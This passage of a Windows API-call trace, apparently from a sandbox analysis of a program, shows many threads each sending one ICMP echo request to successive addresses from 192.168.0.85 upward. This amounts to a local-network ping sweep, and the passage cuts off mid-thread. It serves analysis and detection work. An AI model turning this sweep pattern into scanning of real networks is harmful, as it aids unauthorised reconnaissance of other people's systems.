	[0245.385] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5539e0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1195
	os_tid = 0x1848

	[0192.165] GetLastError () returned 0x57
	[0192.165] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x553db0
	[0192.166] SetLastError (dwErrCode=0x57) 
	[0192.166] IcmpCreateFile () returned 0x552190
	[0193.229] IcmpSendEcho (in: IcmpHandle=0x552190, DestinationAddress=0x5500a8c0, RequestData=0xf79fc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf79fc60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf79fc60) returned 0x1
	[0244.289] IcmpCloseHandle (IcmpHandle=0x552190) returned 1
	[0244.289] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x553db0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1196
	os_tid = 0x184c

	[0192.166] GetLastError () returned 0x57
	[0192.166] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x554180
	[0192.167] SetLastError (dwErrCode=0x57) 
	[0192.167] IcmpCreateFile () returned 0x5521e0
	[0193.231] IcmpSendEcho (in: IcmpHandle=0x5521e0, DestinationAddress=0x5600a8c0, RequestData=0xf8ef9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf8ef9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf8ef9e0) returned 0x1
	[0238.179] IcmpCloseHandle (IcmpHandle=0x5521e0) returned 1
	[0238.179] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x554180 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1197
	os_tid = 0x1850

	[0192.168] GetLastError () returned 0x57
	[0192.168] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x554550
	[0192.168] SetLastError (dwErrCode=0x57) 
	[0192.168] IcmpCreateFile () returned 0x552230
	[0193.232] IcmpSendEcho (in: IcmpHandle=0x552230, DestinationAddress=0x5700a8c0, RequestData=0xfa3f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfa3f820, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfa3f820) returned 0x1
	[0237.321] IcmpCloseHandle (IcmpHandle=0x552230) returned 1
	[0237.322] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x554550 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1198
	os_tid = 0x1854

	[0192.169] GetLastError () returned 0x57
	[0192.169] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x554920
	[0192.169] SetLastError (dwErrCode=0x57) 
	[0192.169] IcmpCreateFile () returned 0x552280
	[0193.234] IcmpSendEcho (in: IcmpHandle=0x552280, DestinationAddress=0x5800a8c0, RequestData=0xd20fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd20fce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd20fce0) returned 0x1
	[0236.758] IcmpCloseHandle (IcmpHandle=0x552280) returned 1
	[0236.759] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x554920 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1199
	os_tid = 0x1858

	[0192.170] GetLastError () returned 0x57
	[0192.170] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x554cf0
	[0192.170] SetLastError (dwErrCode=0x57) 
	[0192.171] IcmpCreateFile () returned 0x5522d0
	[0193.239] IcmpSendEcho (in: IcmpHandle=0x5522d0, DestinationAddress=0x5900a8c0, RequestData=0xfb7f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfb7f980, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfb7f980) returned 0x1
	[0236.441] IcmpCloseHandle (IcmpHandle=0x5522d0) returned 1
	[0236.442] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x554cf0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1200
	os_tid = 0x185c

	[0192.171] GetLastError () returned 0x57
	[0192.171] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5550c0
	[0192.172] SetLastError (dwErrCode=0x57) 
	[0192.172] IcmpCreateFile () returned 0x552320
	[0193.241] IcmpSendEcho (in: IcmpHandle=0x552320, DestinationAddress=0x5a00a8c0, RequestData=0xfd3fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfd3fba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfd3fba0) returned 0x1
	[0236.095] IcmpCloseHandle (IcmpHandle=0x552320) returned 1
	[0236.097] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5550c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1201
	os_tid = 0x1860

	[0192.172] GetLastError () returned 0x57
	[0192.172] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x555490
	[0192.173] SetLastError (dwErrCode=0x57) 
	[0192.173] IcmpCreateFile () returned 0x552370
	[0193.242] IcmpSendEcho (in: IcmpHandle=0x552370, DestinationAddress=0x5b00a8c0, RequestData=0xfeffd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfeffd40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfeffd40) returned 0x1
	[0235.691] IcmpCloseHandle (IcmpHandle=0x552370) returned 1
	[0235.692] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x555490 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1202
	os_tid = 0x1864

	[0192.174] GetLastError () returned 0x57
	[0192.174] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x555860
	[0192.174] SetLastError (dwErrCode=0x57) 
	[0192.174] IcmpCreateFile () returned 0x5523c0
	[0193.244] IcmpSendEcho (in: IcmpHandle=0x5523c0, DestinationAddress=0x5c00a8c0, RequestData=0x1001fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1001fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1001fd20) returned 0x1
	[0233.434] IcmpCloseHandle (IcmpHandle=0x5523c0) returned 1
	[0233.434] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x555860 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1203
	os_tid = 0x1868

	[0192.175] GetLastError () returned 0x57
	[0192.175] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x555c30
	[0192.175] SetLastError (dwErrCode=0x57) 
	[0192.175] IcmpCreateFile () returned 0x552410
	[0193.245] IcmpSendEcho (in: IcmpHandle=0x552410, DestinationAddress=0x5d00a8c0, RequestData=0xf25f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf25f7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf25f7c0) returned 0x1
	[0233.425] IcmpCloseHandle (IcmpHandle=0x552410) returned 1
	[0233.425] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x555c30 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1204
	os_tid = 0x186c

	[0192.176] GetLastError () returned 0x57
	[0192.176] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x556000
	[0192.177] SetLastError (dwErrCode=0x57) 
	[0192.177] IcmpCreateFile () returned 0x552460
	[0193.246] IcmpSendEcho (in: IcmpHandle=0x552460, DestinationAddress=0x5e00a8c0, RequestData=0x1025fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1025fce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1025fce0) returned 0x1
	[0233.416] IcmpCloseHandle (IcmpHandle=0x552460) returned 1
	[0233.417] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x556000 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1205
	os_tid = 0x1870

	[0192.177] GetLastError () returned 0x57
	[0192.177] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5563d0
	[0192.178] SetLastError (dwErrCode=0x57) 
	[0192.178] IcmpCreateFile () returned 0x5524b0
	[0193.248] IcmpSendEcho (in: IcmpHandle=0x5524b0, DestinationAddress=0x5f00a8c0, RequestData=0x103af740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x103af760, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x103af760) returned 0x1
	[0233.407] IcmpCloseHandle (IcmpHandle=0x5524b0) returned 1
	[0233.407] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5563d0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1206
	os_tid = 0x1874

	[0192.178] GetLastError () returned 0x57
	[0192.179] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5567a0
	[0192.179] SetLastError (dwErrCode=0x57) 
	[0192.179] IcmpCreateFile () returned 0x552500
	[0193.249] IcmpSendEcho (in: IcmpHandle=0x552500, DestinationAddress=0x6000a8c0, RequestData=0x1011f9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1011f9c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1011f9c0) returned 0x1
	[0233.398] IcmpCloseHandle (IcmpHandle=0x552500) returned 1
	[0233.399] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5567a0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1207
	os_tid = 0x1878

	[0192.180] GetLastError () returned 0x57
	[0192.180] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x556e70
	[0192.181] SetLastError (dwErrCode=0x57) 
	[0192.181] IcmpCreateFile () returned 0x552550
	[0193.252] IcmpSendEcho (in: IcmpHandle=0x552550, DestinationAddress=0x6100a8c0, RequestData=0x1068fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1068fde0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1068fde0) returned 0x1
	[0233.389] IcmpCloseHandle (IcmpHandle=0x552550) returned 1
	[0233.389] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x556e70 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1208
	os_tid = 0x187c

	[0192.183] GetLastError () returned 0x57
	[0192.183] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x557240
	[0192.183] SetLastError (dwErrCode=0x57) 
	[0192.183] IcmpCreateFile () returned 0x5525a0
	[0193.253] IcmpSendEcho (in: IcmpHandle=0x5525a0, DestinationAddress=0x6200a8c0, RequestData=0x104cfb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x104cfb40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x104cfb40) returned 0x1
	[0233.370] IcmpCloseHandle (IcmpHandle=0x5525a0) returned 1
	[0233.371] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x557240 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1209
	os_tid = 0x1880

	[0192.184] GetLastError () returned 0x57
	[0192.184] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x557610
	[0192.185] SetLastError (dwErrCode=0x57) 
	[0192.185] IcmpCreateFile () returned 0x5525f0
	[0193.255] IcmpSendEcho (in: IcmpHandle=0x5525f0, DestinationAddress=0x6300a8c0, RequestData=0x108cfe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x108cfe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x108cfe80) returned 0x1
	[0233.362] IcmpCloseHandle (IcmpHandle=0x5525f0) returned 1
	[0233.362] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x557610 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1210
	os_tid = 0x1884

	[0192.186] GetLastError () returned 0x57
	[0192.186] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5579e0
	[0192.187] SetLastError (dwErrCode=0x57) 
	[0192.187] IcmpCreateFile () returned 0x552640
	[0193.256] IcmpSendEcho (in: IcmpHandle=0x552640, DestinationAddress=0x6400a8c0, RequestData=0x107af700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x107af720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x107af720) returned 0x1
	[0233.353] IcmpCloseHandle (IcmpHandle=0x552640) returned 1
	[0233.353] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5579e0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1211
	os_tid = 0x1888

	[0192.348] GetLastError () returned 0x57
	[0192.349] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x557db0
	[0192.349] SetLastError (dwErrCode=0x57) 
	[0192.349] IcmpCreateFile () returned 0x552690
	[0193.258] IcmpSendEcho (in: IcmpHandle=0x552690, DestinationAddress=0x6500a8c0, RequestData=0x10b2fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10b2fb40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10b2fb40) returned 0x1
	[0233.345] IcmpCloseHandle (IcmpHandle=0x552690) returned 1
	[0233.345] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x557db0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1221
	os_tid = 0x18b8

	[0192.350] GetLastError () returned 0x57
	[0192.350] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x558180
	[0192.350] SetLastError (dwErrCode=0x57) 
	[0192.350] IcmpCreateFile () returned 0x5526e0
	[0193.259] IcmpSendEcho (in: IcmpHandle=0x5526e0, DestinationAddress=0x6600a8c0, RequestData=0x10c3f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10c3f920, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10c3f920) returned 0x1
	[0233.336] IcmpCloseHandle (IcmpHandle=0x5526e0) returned 1
	[0233.337] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x558180 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1222
	os_tid = 0x18bc

	[0192.351] GetLastError () returned 0x57
	[0192.351] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x558550
	[0192.352] SetLastError (dwErrCode=0x57) 
	[0192.352] IcmpCreateFile () returned 0x552730
	[0193.261] IcmpSendEcho (in: IcmpHandle=0x552730, DestinationAddress=0x6700a8c0, RequestData=0x10eaf940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10eaf960, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10eaf960) returned 0x1
	[0233.327] IcmpCloseHandle (IcmpHandle=0x552730) returned 1
	[0233.327] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x558550 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1223
	os_tid = 0x18c0

	[0192.352] GetLastError () returned 0x57
	[0192.352] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x558920
	[0192.353] SetLastError (dwErrCode=0x57) 
	[0192.353] IcmpCreateFile () returned 0x552780
	[0193.262] IcmpSendEcho (in: IcmpHandle=0x552780, DestinationAddress=0x6800a8c0, RequestData=0x1101f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1101f820, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1101f820) returned 0x1
	[0233.318] IcmpCloseHandle (IcmpHandle=0x552780) returned 1
	[0233.318] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x558920 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1224
	os_tid = 0x18c4

	[0192.354] GetLastError () returned 0x57
	[0192.354] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x558cf0
	[0192.354] SetLastError (dwErrCode=0x57) 
	[0192.354] IcmpCreateFile () returned 0x5527d0
	[0193.263] IcmpSendEcho (in: IcmpHandle=0x5527d0, DestinationAddress=0x6900a8c0, RequestData=0x111afb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x111afb20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x111afb20) returned 0x1
	[0233.309] IcmpCloseHandle (IcmpHandle=0x5527d0) returned 1
	[0233.310] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x558cf0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1225
	os_tid = 0x18c8

	[0192.355] GetLastError () returned 0x57
	[0192.355] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5590c0
	[0192.355] SetLastError (dwErrCode=0x57) 
	[0192.355] IcmpCreateFile () returned 0x552820
	[0193.265] IcmpSendEcho (in: IcmpHandle=0x552820, DestinationAddress=0x6a00a8c0, RequestData=0x10a0fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10a0fee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10a0fee0) returned 0x1
	[0233.300] IcmpCloseHandle (IcmpHandle=0x552820) returned 1
	[0233.301] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5590c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1226
	os_tid = 0x18cc

	[0192.356] GetLastError () returned 0x57
	[0192.357] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x559490
	[0192.357] SetLastError (dwErrCode=0x57) 
	[0192.357] IcmpCreateFile () returned 0x552870
	[0193.266] IcmpSendEcho (in: IcmpHandle=0x552870, DestinationAddress=0x6b00a8c0, RequestData=0x1130fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1130fd80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1130fd80) returned 0x1
	[0233.291] IcmpCloseHandle (IcmpHandle=0x552870) returned 1
	[0233.292] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1227
	os_tid = 0x18d0

	[0192.358] GetLastError () returned 0x57
	[0192.358] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x559860
	[0192.358] SetLastError (dwErrCode=0x57) 
	[0192.358] IcmpCreateFile () returned 0x5528c0
	[0193.267] IcmpSendEcho (in: IcmpHandle=0x5528c0, DestinationAddress=0x6c00a8c0, RequestData=0x10d5fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10d5fea0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10d5fea0) returned 0x1
	[0233.282] IcmpCloseHandle (IcmpHandle=0x5528c0) returned 1
	[0233.283] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x559860 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1228
	os_tid = 0x18d4

	[0192.359] GetLastError () returned 0x57
	[0192.359] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x559c30
	[0192.359] SetLastError (dwErrCode=0x57) 
	[0192.359] IcmpCreateFile () returned 0x552910
	[0193.269] IcmpSendEcho (in: IcmpHandle=0x552910, DestinationAddress=0x6d00a8c0, RequestData=0x115efa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x115efaa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x115efaa0) returned 0x1
	[0233.273] IcmpCloseHandle (IcmpHandle=0x552910) returned 1
	[0233.274] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x559c30 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1229
	os_tid = 0x18d8

	[0192.360] GetLastError () returned 0x57
	[0192.360] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x55a000
	[0192.360] SetLastError (dwErrCode=0x57) 
	[0192.361] IcmpCreateFile () returned 0x552960
	[0193.272] IcmpSendEcho (in: IcmpHandle=0x552960, DestinationAddress=0x6e00a8c0, RequestData=0x1140f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1140f820, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1140f820) returned 0x1
	[0233.263] IcmpCloseHandle (IcmpHandle=0x552960) returned 1
	[0233.264] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x55a000 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1230
	os_tid = 0x18dc

	[0192.361] GetLastError () returned 0x57
	[0192.361] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x55a3d0
	[0192.362] SetLastError (dwErrCode=0x57) 
	[0192.362] IcmpCreateFile () returned 0x5529b0
	[0193.273] IcmpSendEcho (in: IcmpHandle=0x5529b0, DestinationAddress=0x6f00a8c0, RequestData=0x118cf8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x118cf8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x118cf8e0) returned 0x1
	[0233.254] IcmpCloseHandle (IcmpHandle=0x5529b0) returned 1
	[0233.255] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x55a3d0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1231
	os_tid = 0x18e0

	[0192.362] GetLastError () returned 0x57
	[0192.363] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x55a7a0
	[0192.363] SetLastError (dwErrCode=0x57) 
	[0192.363] IcmpCreateFile () returned 0x552a00
	[0193.275] IcmpSendEcho (in: IcmpHandle=0x552a00, DestinationAddress=0x7000a8c0, RequestData=0x119dfa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x119dfa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x119dfa60) returned 0x1
	[0233.245] IcmpCloseHandle (IcmpHandle=0x552a00) returned 1
	[0233.246] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x55a7a0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1232
	os_tid = 0x18e4

	[0192.364] GetLastError () returned 0x57
	[0192.364] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x562e70
	[0192.366] SetLastError (dwErrCode=0x57) 
	[0192.366] IcmpCreateFile () returned 0x552a50
	[0193.276] IcmpSendEcho (in: IcmpHandle=0x552a50, DestinationAddress=0x7100a8c0, RequestData=0x1170fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1170fee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1170fee0) returned 0x1
	[0233.236] IcmpCloseHandle (IcmpHandle=0x552a50) returned 1
	[0233.237] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x562e70 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1233
	os_tid = 0x18e8

	[0192.367] GetLastError () returned 0x57
	[0192.367] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x563240
	[0192.368] SetLastError (dwErrCode=0x57) 
	[0192.368] IcmpCreateFile () returned 0x552aa0
	[0193.278] IcmpSendEcho (in: IcmpHandle=0x552aa0, DestinationAddress=0x7200a8c0, RequestData=0x11b7f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11b7f740, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11b7f740) returned 0x1
	[0233.227] IcmpCloseHandle (IcmpHandle=0x552aa0) returned 1
	[0233.228] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x563240 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1234
	os_tid = 0x18ec

	[0192.368] GetLastError () returned 0x57
	[0192.369] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x563610
	[0192.369] SetLastError (dwErrCode=0x57) 
	[0192.369] IcmpCreateFile () returned 0x552af0
	[0193.279] IcmpSendEcho (in: IcmpHandle=0x552af0, DestinationAddress=0x7300a8c0, RequestData=0x11d3f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11d3f760, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11d3f760) returned 0x1
	[0233.217] IcmpCloseHandle (IcmpHandle=0x552af0) returned 1
	[0233.217] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x563610 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1235
	os_tid = 0x18f0

	[0192.598] GetLastError () returned 0x57
	[0192.598] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5639e0
	[0192.598] SetLastError (dwErrCode=0x57) 
	[0192.598] IcmpCreateFile () returned 0x552b40
	[0193.280] IcmpSendEcho (in: IcmpHandle=0x552b40, DestinationAddress=0x7400a8c0, RequestData=0x11f7fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11f7fde0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11f7fde0) returned 0x1
	[0232.765] IcmpCloseHandle (IcmpHandle=0x552b40) returned 1
	[0232.766] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5639e0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1247
	os_tid = 0x1920

	[0192.599] GetLastError () returned 0x57
	[0192.599] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x563db0
	[0192.599] SetLastError (dwErrCode=0x57) 
	[0192.600] IcmpCreateFile () returned 0x552b90
	[0193.282] IcmpSendEcho (in: IcmpHandle=0x552b90, DestinationAddress=0x7500a8c0, RequestData=0x120afa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x120afa80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x120afa80) returned 0x1
	[0226.864] IcmpCloseHandle (IcmpHandle=0x552b90) returned 1
	[0226.865] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x563db0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1248
	os_tid = 0x1924

	[0192.600] GetLastError () returned 0x57
	[0192.600] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x564180
	[0192.601] SetLastError (dwErrCode=0x57) 
	[0192.601] IcmpCreateFile () returned 0x552be0
	[0193.283] IcmpSendEcho (in: IcmpHandle=0x552be0, DestinationAddress=0x7600a8c0, RequestData=0x1229f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1229f940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1229f940) returned 0x1
	[0225.170] IcmpCloseHandle (IcmpHandle=0x552be0) returned 1
	[0225.171] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x564180 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1249
	os_tid = 0x1928

	[0192.602] GetLastError () returned 0x57
	[0192.602] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x564550
	[0192.603] SetLastError (dwErrCode=0x57) 
	[0192.603] IcmpCreateFile () returned 0x552c30
	[0193.285] IcmpSendEcho (in: IcmpHandle=0x552c30, DestinationAddress=0x7700a8c0, RequestData=0x11e7fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11e7fe60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11e7fe60) returned 0x1
	[0224.890] IcmpCloseHandle (IcmpHandle=0x552c30) returned 1
	[0224.890] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x564550 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1250
	os_tid = 0x192c

	[0192.603] GetLastError () returned 0x57
	[0192.603] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x564920
	[0192.604] SetLastError (dwErrCode=0x57) 
	[0192.604] IcmpCreateFile () returned 0x552c80
	[0193.286] IcmpSendEcho (in: IcmpHandle=0x552c80, DestinationAddress=0x7800a8c0, RequestData=0x1251fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1251fe60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1251fe60) returned 0x1
	[0224.701] IcmpCloseHandle (IcmpHandle=0x552c80) returned 1
	[0224.701] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x564920 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1251
	os_tid = 0x1930

	[0192.605] GetLastError () returned 0x57
	[0192.605] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x564cf0
	[0192.605] SetLastError (dwErrCode=0x57) 
	[0192.605] IcmpCreateFile () returned 0x552cd0
